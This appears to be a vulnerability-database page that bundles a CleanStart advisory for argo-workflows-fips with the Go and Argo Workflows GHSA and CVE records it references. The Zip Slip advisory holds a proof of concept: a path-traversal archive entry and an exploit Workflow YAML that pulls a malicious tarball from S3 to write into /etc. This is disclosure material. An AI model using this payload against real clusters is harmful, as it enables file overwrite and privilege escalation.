Vulnerability from cleanstart
Published
2026-01-30 16:11
Modified
2026-01-29 18:58
Summary
SSH servers parsing GSSAPI authentication requests do not validate the number of mechanisms specified in the request, allowing an attacker to cause unbounded memory consumption
Details
Multiple security vulnerabilities affect the argo-workflows-fips package. SSH servers parsing GSSAPI authentication requests do not validate the number of mechanisms specified in the request, allowing an attacker to cause unbounded memory consumption. See references for individual vulnerability details.
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "argo-workflows-fips"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.7.4-r0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the argo-workflows-fips package. SSH servers parsing GSSAPI authentication requests do not validate the number of mechanisms specified in the request, allowing an attacker to cause unbounded memory consumption. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-XR17407",
"modified": "2026-01-29T18:58:54Z",
"published": "2026-01-30T16:11:25.270681Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-XR17407.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-0913"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-4673"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-47907"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-47914"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-58181"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-62156"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-62157"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-6v2p-p543-phr9"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-c2hv-4pfj-mm2r"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-f6x5-jh6r-wrfv"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-j5w8-q4qc-rx2x"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-p84v-gxvw-73pf"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0913"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4673"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47907"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47914"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58181"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62156"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62157"
}
],
"related": [],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SSH servers parsing GSSAPI authentication requests do not validate the number of mechanisms specified in the request, allowing an attacker to cause unbounded memory consumption",
"upstream": [
"CVE-2025-0913",
"CVE-2025-4673",
"CVE-2025-47907",
"CVE-2025-47914",
"CVE-2025-58181",
"CVE-2025-62156",
"CVE-2025-62157",
"GHSA-6v2p-p543-phr9",
"GHSA-c2hv-4pfj-mm2r",
"GHSA-f6x5-jh6r-wrfv",
"GHSA-j5w8-q4qc-rx2x",
"GHSA-p84v-gxvw-73pf"
]
}
GHSA-6V2P-P543-PHR9
Vulnerability from github – Published: 2025-07-18 17:27 – Updated: 2025-07-18 17:27
VLAI?
Summary
golang.org/x/oauth2 Improper Validation of Syntactic Correctness of Input vulnerability
Details
An attacker can pass a malicious malformed token which causes unexpected memory to be consumed during parsing.
Severity ?
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "golang.org/x/oauth2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-22868"
],
"database_specific": {
"cwe_ids": [
"CWE-1286"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-18T17:27:22Z",
"nvd_published_at": "2025-02-26T08:14:24Z",
"severity": "HIGH"
},
"details": "An attacker can pass a malicious malformed token which causes unexpected memory to be consumed during parsing.",
"id": "GHSA-6v2p-p543-phr9",
"modified": "2025-07-18T17:27:22Z",
"published": "2025-07-18T17:27:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22868"
},
{
"type": "WEB",
"url": "https://go.dev/cl/652155"
},
{
"type": "WEB",
"url": "https://go.dev/issue/71490"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-3488"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "golang.org/x/oauth2 Improper Validation of Syntactic Correctness of Input vulnerability"
}
GHSA-C2HV-4PFJ-MM2R
Vulnerability from github – Published: 2025-10-14 18:43 – Updated: 2025-11-05 22:10
VLAI?
Summary
Argo Workflow may expose artifact repository credentials
Details
Summary
An attacker who has permissions to read logs from pods in a namespace with Argo Workflow can read workflow-controller logs and get credentials to the artifact repository.
Details
An attacker, by reading the logs of the workflow controller pod, can access the artifact repository, and steal, delete or modify the data that resides there. The workflow-controller logs show the credentials in plaintext.
Impact
An attacker with access to pod logs in the argo namespace can extract plaintext credentials from the workflow-controller logs and gain access to the artifact repository. This can lead to:
- Data exfiltration – theft of sensitive or proprietary artifacts
- Data tampering – modification of workflows or artifacts
- Data destruction – deletion of stored artifacts, leading to potential loss of critical data or pipeline failure
Severity ?
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-workflows/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0"
},
{
"fixed": "3.7.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-workflows/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-62157"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-14T18:43:01Z",
"nvd_published_at": "2025-10-14T15:16:12Z",
"severity": "HIGH"
},
"details": "### Summary\nAn attacker who has permissions to read logs from pods in a namespace with Argo Workflow can read `workflow-controller` logs and get credentials to the artifact repository.\n\n### Details\nAn attacker, by reading the logs of the workflow controller pod, can access the artifact repository, and steal, delete or modify the data that resides there. The `workflow-controller` logs show the credentials in plaintext.\n\n\u003cimg width=\"1366\" alt=\"screen\" src=\"https://github.com/user-attachments/assets/5642b2be-edcf-4050-bf47-747d05352698\" /\u003e\n\n\n### Impact\nAn attacker with access to pod logs in the `argo` namespace can extract plaintext credentials from the `workflow-controller` logs and gain access to the artifact repository. This can lead to:\n- Data exfiltration \u2013 theft of sensitive or proprietary artifacts\n- Data tampering \u2013 modification of workflows or artifacts\n- Data destruction \u2013 deletion of stored artifacts, leading to potential loss of critical data or pipeline failure",
"id": "GHSA-c2hv-4pfj-mm2r",
"modified": "2025-11-05T22:10:52Z",
"published": "2025-10-14T18:43:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-c2hv-4pfj-mm2r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62157"
},
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-workflows/commit/18ad5138b6bcb2aba04e00b4ec657bc6b8fad8df"
},
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-workflows/commit/bded09fe4abd37cb98d7fc81b4c14a6f5034e9ab"
},
{
"type": "PACKAGE",
"url": "https://github.com/argoproj/argo-workflows"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-4024"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Argo Workflow may expose artifact repository credentials"
}
GHSA-F6X5-JH6R-WRFV
Vulnerability from github – Published: 2025-11-19 23:16 – Updated: 2025-11-20 16:35
VLAI?
Summary
golang.org/x/crypto/ssh/agent vulnerable to panic if message is malformed due to out of bounds read
Details
SSH Agent servers do not validate the size of messages when processing new identity requests, which may cause the program to panic if the message is malformed due to an out of bounds read.
Severity ?
5.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "golang.org/x/crypto"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.45.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-47914"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-19T23:16:40Z",
"nvd_published_at": "2025-11-19T21:15:50Z",
"severity": "MODERATE"
},
"details": "SSH Agent servers do not validate the size of messages when processing new identity requests, which may cause the program to panic if the message is malformed due to an out of bounds read.",
"id": "GHSA-f6x5-jh6r-wrfv",
"modified": "2025-11-20T16:35:18Z",
"published": "2025-11-19T23:16:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47914"
},
{
"type": "WEB",
"url": "https://go.dev/cl/721960"
},
{
"type": "WEB",
"url": "https://go.dev/issue/76364"
},
{
"type": "WEB",
"url": "https://go.googlesource.com/crypto"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/golang-announce/c/w-oX3UxNcZA"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-4135"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "golang.org/x/crypto/ssh/agent vulnerable to panic if message is malformed due to out of bounds read"
}
GHSA-J5W8-Q4QC-RX2X
Vulnerability from github – Published: 2025-11-19 23:01 – Updated: 2025-11-19 23:01
VLAI?
Summary
golang.org/x/crypto/ssh allows an attacker to cause unbounded memory consumption
Details
SSH servers parsing GSSAPI authentication requests do not validate the number of mechanisms specified in the request, allowing an attacker to cause unbounded memory consumption.
Severity ?
5.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "golang.org/x/crypto"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.45.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58181"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-19T23:01:20Z",
"nvd_published_at": "2025-11-19T21:15:50Z",
"severity": "MODERATE"
},
"details": "SSH servers parsing GSSAPI authentication requests do not validate the number of mechanisms specified in the request, allowing an attacker to cause unbounded memory consumption.",
"id": "GHSA-j5w8-q4qc-rx2x",
"modified": "2025-11-19T23:01:20Z",
"published": "2025-11-19T23:01:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58181"
},
{
"type": "WEB",
"url": "https://go.dev/cl/721961"
},
{
"type": "WEB",
"url": "https://go.dev/issue/76363"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/golang-announce/c/w-oX3UxNcZA"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-4134"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "golang.org/x/crypto/ssh allows an attacker to cause unbounded memory consumption"
}
GHSA-P84V-GXVW-73PF
Vulnerability from github – Published: 2025-10-14 18:00 – Updated: 2025-11-05 22:10
VLAI?
Summary
Argo Workflow has a Zipslip Vulnerability
Details
Vulnerability Description
Vulnerability Overview
- During the artifact extraction process, the
unpack()function extracts the compressed file to a temporary directory (/etc.tmpdir) and then attempts to move its contents to/etcusing therename()system call, - However, since
/etcis an already existing system directory, therename()system call fails, making normal archive extraction impossible. - At this point, if a malicious user sets the entry name inside the
tar.gzfile to a path traversal like../../../../../etc/zipslip-poc, - The
untar()function combines paths usingfilepath.Join(dest, filepath.Clean(header.Name))without path validation, resulting intarget = "/work/input/../../../../../etc/zipslip-poc", - Ultimately, the
/etc/zipslip-pocfile is created, bypassing the normal archive extraction constraints and enabling direct file writing to system directories.
untar(): Writing Files Outside the Extraction Directory
https://github.com/argoproj/argo-workflows/blob/946a2d6b9ac3309371fe47f49ae94c33ca7d488d/workflow/executor/executor.go#L993
- Base Path:
/work/tmp(dest) — The intended extraction directory in the wait container - Malicious Entry:
../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt(header.Name) — Path traversal payload - Path Cleaning:
filepath.Clean("../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt— Go’s path cleaning normalizes the traversal - Path Joining:
filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt— Absolute path overrides base directory - File Creation:
/mainctrfs/etc/zipslip-ok.txtfile is created in the wait container - Volume Mirroring: The file appears as
/etc/zipslip-ok.txtin the main container due to volume mount mirroring
PoC
PoC Description
- The user uploaded a malicious
tar.gzfile to S3 that contains path traversal entries like../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txtdesigned to exploit the vulnerability. - In the Argo Workflows YAML, the artifact’s path is set to
/work/tmp, which should normally extract the archive to that intended directory. - However, due to the vulnerability in the
untar()function,filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt")resolves to/mainctrfs/etc/zipslip-ok.txt, causing files to be created in unintended locations. - Since the wait container’s
/mainctrfs/etcand the main container’s/etcshare the same volume, files created in the wait container become visible in the main container’s/etc/directory. - Consequently, the archive that should extract to
/work/tmpexploits the Zip Slip vulnerability to create files in the/etc/directory, enabling manipulation of system configuration files.
exploit yaml
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
generateName: zipslip-
spec:
entrypoint: main
templates:
- name: main
container:
image: ubuntu:22.04
command: ["sh"]
args: ["-c", "echo 'Starting container'; sleep 3000"]
volumeMounts:
- name: etcvol
mountPath: /etc
inputs:
artifacts:
- name: evil
path: /work/tmp
archive:
tar: {}
http:
url: "https://zipslip-s3.s3.ap-northeast-2.amazonaws.com/etc-poc.tgz"
volumes:
- name: etcvol
emptyDir: {}
exploit
-
Create Zipslip
-
Upload S3
-
Create Workflow
-
Run
-
Exploit Success
```bash # Find Workflow and Pod NS=default WF=$(kubectl get wf -n "$NS" --sort-by=.metadata.creationTimestamp --no-headers | awk 'END{print $1}') POD=$(kubectl get pod -n "$NS" -l workflows.argoproj.io/workflow="$WF" --no-headers | awk 'END{print $1}') echo "NS=$NS WF=$WF POD=$POD"
# Connect Main Container kubectl exec -it -n "$NS" "$POD" -c main -- bash
# Exploit cd /etc/ ls -l cat zipslip-ok.txt ```
Impact
Container Isolation Bypass
The Zip Slip vulnerability allows attackers to write files to system directories like /etc/ within the container, potentially overwriting critical configuration files such as /etc/passwd, /etc/hosts, or /etc/crontab, which could lead to privilege escalation or persistent access within the compromised container.
Severity ?
8.1 (High)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-workflows/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-workflows/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0"
},
{
"fixed": "3.7.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-62156"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-23"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-14T18:00:30Z",
"nvd_published_at": "2025-10-14T15:16:12Z",
"severity": "HIGH"
},
"details": "### **Vulnerability Description**\n\n#### Vulnerability Overview\n\n1. During the artifact extraction process, the `unpack()` function extracts the compressed file to a temporary directory (`/etc.tmpdir`) and then attempts to move its contents to `/etc` using the `rename()` system call,\n2. However, since `/etc` is an already existing system directory, the `rename()` system call fails, making normal archive extraction impossible.\n3. At this point, if a malicious user sets the entry name inside the `tar.gz` file to a path traversal like `../../../../../etc/zipslip-poc`,\n4. The `untar()` function combines paths using `filepath.Join(dest, filepath.Clean(header.Name))` without path validation, resulting in `target = \"/work/input/../../../../../etc/zipslip-poc\"`,\n5. Ultimately, the `/etc/zipslip-poc` file is created, bypassing the normal archive extraction constraints and enabling direct file writing to system directories.\n\n#### untar(): Writing Files Outside the Extraction Directory\n\nhttps://github.com/argoproj/argo-workflows/blob/946a2d6b9ac3309371fe47f49ae94c33ca7d488d/workflow/executor/executor.go#L993\n\n1. **Base Path**: `/work/tmp` (dest) \u2014 The intended extraction directory in the wait container \n2. **Malicious Entry**: `../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt` (`header.Name`) \u2014 Path traversal payload \n3. **Path Cleaning**: `filepath.Clean(\"../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt\") = /mainctrfs/etc/zipslip-ok.txt` \u2014 Go\u2019s path cleaning normalizes the traversal \n4. **Path Joining**: `filepath.Join(\"/work/tmp\", \"/mainctrfs/etc/zipslip-ok.txt\") = /mainctrfs/etc/zipslip-ok.txt` \u2014 Absolute path overrides base directory \n5. **File Creation**: `/mainctrfs/etc/zipslip-ok.txt` file is created in the wait container \n6. **Volume Mirroring**: The file appears as `/etc/zipslip-ok.txt` in the main container due to volume mount mirroring\n\n### PoC\n\n#### PoC Description\n\n1. The user uploaded a malicious `tar.gz` file to S3 that contains path traversal entries like `../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt` designed to exploit the vulnerability.\n2. In the Argo Workflows YAML, the artifact\u2019s path is set to `/work/tmp`, which should normally extract the archive to that intended directory.\n3. However, due to the vulnerability in the `untar()` function, `filepath.Join(\"/work/tmp\", \"/mainctrfs/etc/zipslip-ok.txt\")` resolves to `/mainctrfs/etc/zipslip-ok.txt`, causing files to be created in unintended locations.\n4. Since the wait container\u2019s `/mainctrfs/etc` and the main container\u2019s `/etc` share the same volume, files created in the wait container become visible in the main container\u2019s `/etc/` directory.\n5. Consequently, the archive that should extract to `/work/tmp` exploits the Zip Slip vulnerability to create files in the `/etc/` directory, enabling manipulation of system configuration files.\n\n#### exploit yaml\n\n```yaml\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n generateName: zipslip-\nspec:\n entrypoint: main\n templates:\n - name: main\n container:\n image: ubuntu:22.04\n command: [\"sh\"]\n args: [\"-c\", \"echo \u0027Starting container\u0027; sleep 3000\"]\n volumeMounts:\n - name: etcvol\n mountPath: /etc\n inputs:\n artifacts:\n - name: evil\n path: /work/tmp \n archive:\n tar: {}\n http:\n url: \"https://zipslip-s3.s3.ap-northeast-2.amazonaws.com/etc-poc.tgz\"\n volumes:\n - name: etcvol\n emptyDir: {}\n```\n\n#### exploit\n\n1. Create Zipslip \n\u003cimg width=\"1300\" height=\"102\" alt=\"image (4)\" src=\"https://github.com/user-attachments/assets/74569df1-43f9-409d-b905-601bcb5998e2\" /\u003e\n\n2. Upload S3 \n\u003cimg width=\"1634\" height=\"309\" alt=\"image (5)\" src=\"https://github.com/user-attachments/assets/2bf4a90a-0f03-411d-9a31-3c7de4b399b4\" /\u003e\n\n\n3. Create Workflow \n\u003cimg width=\"1875\" height=\"865\" alt=\"image (1) (1)\" src=\"https://github.com/user-attachments/assets/fd01a4a7-c400-47a2-a8f0-427b0feabc7f\" /\u003e\n\n\n4. Run \n\u003cimg width=\"1799\" height=\"862\" alt=\"image (2)\" src=\"https://github.com/user-attachments/assets/18a68919-1529-4ca0-9ed4-b71e271ae38f\" /\u003e\n\n\n5. Exploit Success\n\u003cimg width=\"1363\" height=\"440\" alt=\"image (3)\" src=\"https://github.com/user-attachments/assets/ac0e834d-4734-4771-9d24-d6fd1ce5d77f\" /\u003e\n\n ```bash\n # Find Workflow and Pod\n NS=default\n WF=$(kubectl get wf -n \"$NS\" --sort-by=.metadata.creationTimestamp --no-headers | awk \u0027END{print $1}\u0027)\n POD=$(kubectl get pod -n \"$NS\" -l workflows.argoproj.io/workflow=\"$WF\" --no-headers | awk \u0027END{print $1}\u0027)\n echo \"NS=$NS WF=$WF POD=$POD\"\n \n # Connect Main Container\n kubectl exec -it -n \"$NS\" \"$POD\" -c main -- bash\n \n # Exploit\n cd /etc/\n ls -l\n cat zipslip-ok.txt\n ```\n\n### Impact\n\n#### Container Isolation Bypass\n\nThe Zip Slip vulnerability allows attackers to write files to system directories like `/etc/` within the container, potentially overwriting critical configuration files such as `/etc/passwd`, `/etc/hosts`, or `/etc/crontab`, which could lead to privilege escalation or persistent access within the compromised container.",
"id": "GHSA-p84v-gxvw-73pf",
"modified": "2025-11-05T22:10:23Z",
"published": "2025-10-14T18:00:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-p84v-gxvw-73pf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62156"
},
{
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"url": "https://github.com/argoproj/argo-workflows/commit/5659ad9b641fcf52c04ed594cd6493f9170f6011"
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},
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"url": "https://github.com/argoproj/argo-workflows/blob/946a2d6b9ac3309371fe47f49ae94c33ca7d488d/workflow/executor/executor.go#L993"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-4023"
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],
"schema_version": "1.4.0",
"severity": [
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"type": "CVSS_V3"
}
],
"summary": "Argo Workflow has a Zipslip Vulnerability"
}
CVE-2025-62157 (GCVE-0-2025-62157)
Vulnerability from cvelistv5 – Published: 2025-10-14 15:06 – Updated: 2025-10-14 16:06
VLAI?
Title
Argo Workflows exposes artifact repository credentials in workflow-controller logs
Summary
Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Argo Workflows versions prior to 3.6.12 and versions 3.7.0 through 3.7.2 expose artifact repository credentials in plaintext in workflow-controller pod logs. An attacker with permissions to read pod logs in a namespace running Argo Workflows can read the workflow-controller logs and obtain credentials to the artifact repository. Update to versions 3.6.12 or 3.7.3 to remediate the vulnerability. No known workarounds exist.
Severity ?
CWE
- CWE-522 - Insufficiently Protected Credentials
Assigner
References
| URL | Tags | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| argoproj | argo-workflows |
Affected:
>= 3.7.0, < 3.7.3
Affected: < 3.6.12 |
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CVE-2025-0913 (GCVE-0-2025-0913)
Vulnerability from cvelistv5 – Published: 2025-06-11 17:17 – Updated: 2025-06-11 17:37
VLAI?
Title
Inconsistent handling of O_CREATE|O_EXCL on Unix and Windows in os in syscall
Summary
os.OpenFile(path, os.O_CREATE|O_EXCL) behaved differently on Unix and Windows systems when the target path was a dangling symlink. On Unix systems, OpenFile with O_CREATE and O_EXCL flags never follows symlinks. On Windows, when the target path was a symlink to a nonexistent location, OpenFile would create a file in that location. OpenFile now always returns an error when the O_CREATE and O_EXCL flags are both set and the target path is a symlink.
Severity ?
5.5 (Medium)
CWE
- CWE-59 - Improper Link Resolution Before File Access ('Link Following')
Assigner
References
Impacted products
| Vendor | Product | Version | |||||||
|---|---|---|---|---|---|---|---|---|---|
| Go standard library | syscall |
Affected:
0 , < 1.23.10
(semver)
Affected: 1.24.0-0 , < 1.24.4 (semver) |
|||||||
|
|||||||||
Credits
Junyoung Park and Dong-uk Kim of KAIST Hacking Lab
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CVE-2025-47914 (GCVE-0-2025-47914)
Vulnerability from cvelistv5 – Published: 2025-11-19 20:33 – Updated: 2025-11-20 17:15
VLAI?
Title
Malformed constraint may cause denial of service in golang.org/x/crypto/ssh/agent
Summary
SSH Agent servers do not validate the size of messages when processing new identity requests, which may cause the program to panic if the message is malformed due to an out of bounds read.
Severity ?
5.3 (Medium)
CWE
Assigner
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| golang.org/x/crypto | golang.org/x/crypto/ssh/agent |
Affected:
0 , < 0.45.0
(semver)
|
Credits
Jakub Ciolek
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CVE-2025-58181 (GCVE-0-2025-58181)
Vulnerability from cvelistv5 – Published: 2025-11-19 20:33 – Updated: 2025-11-20 17:14
VLAI?
Title
Unbounded memory consumption in golang.org/x/crypto/ssh
Summary
SSH servers parsing GSSAPI authentication requests do not validate the number of mechanisms specified in the request, allowing an attacker to cause unbounded memory consumption.
Severity ?
5.3 (Medium)
CWE
Assigner
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| golang.org/x/crypto | golang.org/x/crypto/ssh |
Affected:
0 , < 0.45.0
(semver)
|
Credits
Jakub Ciolek
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CVE-2025-62156 (GCVE-0-2025-62156)
Vulnerability from cvelistv5 – Published: 2025-10-14 14:52 – Updated: 2025-10-14 16:04
VLAI?
Title
argo-workflows Zip Slip path traversal allows arbitrary file write and container configuration overwrite
Summary
Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Versions prior to 3.6.12 and versions 3.7.0 through 3.7.2 contain a Zip Slip path traversal vulnerability in artifact extraction. During artifact extraction the unpack/untar logic (workflow/executor/executor.go) uses filepath.Join(dest, filepath.Clean(header.Name)) without validating that header.Name stays within the intended extraction directory. A malicious archive entry can supply a traversal or absolute path that, after cleaning, overrides the destination directory and causes files to be written outside the /work/tmp extraction path and into system directories such as /etc inside the container. The vulnerability enables arbitrary file creation or overwrite in system configuration locations (for example /etc/passwd, /etc/hosts, /etc/crontab), which can lead to privilege escalation or persistence within the affected container. Update to 3.6.12 or 3.7.3 to remediate the issue.
Severity ?
8.1 (High)
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
| URL | Tags | |||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| argoproj | argo-workflows |
Affected:
< 3.6.12
Affected: >= 3.7.0, < 3.7.3 |
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CVE-2025-47907 (GCVE-0-2025-47907)
Vulnerability from cvelistv5 – Published: 2025-08-07 15:25 – Updated: 2025-11-04 21:10
VLAI?
Title
Incorrect results returned from Rows.Scan in database/sql
Summary
Cancelling a query (e.g. by cancelling the context passed to one of the query methods) during a call to the Scan method of the returned Rows can result in unexpected results if other queries are being made in parallel. This can result in a race condition that may overwrite the expected results with those of another query, causing the call to Scan to return either unexpected results from the other query or an error.
Severity ?
CWE
- CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Assigner
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| Go standard library | database/sql |
Affected:
0 , < 1.23.12
(semver)
Affected: 1.24.0 , < 1.24.6 (semver) |
Credits
Spike Curtis from Coder
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CVE-2025-4673 (GCVE-0-2025-4673)
Vulnerability from cvelistv5 – Published: 2025-06-11 16:42 – Updated: 2025-06-11 17:59
VLAI?
Title
Sensitive headers not cleared on cross-origin redirect in net/http
Summary
Proxy-Authorization and Proxy-Authenticate headers persisted on cross-origin redirects potentially leaking sensitive information.
Severity ?
6.8 (Medium)
CWE
- CWE-201 - Insertion of Sensitive Information Into Sent Data
Assigner
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| Go standard library | net/http |
Affected:
0 , < 1.23.10
(semver)
Affected: 1.24.0-0 , < 1.24.4 (semver) |
Credits
Takeshi Kaneko (GMO Cybersecurity by Ierae, Inc.)
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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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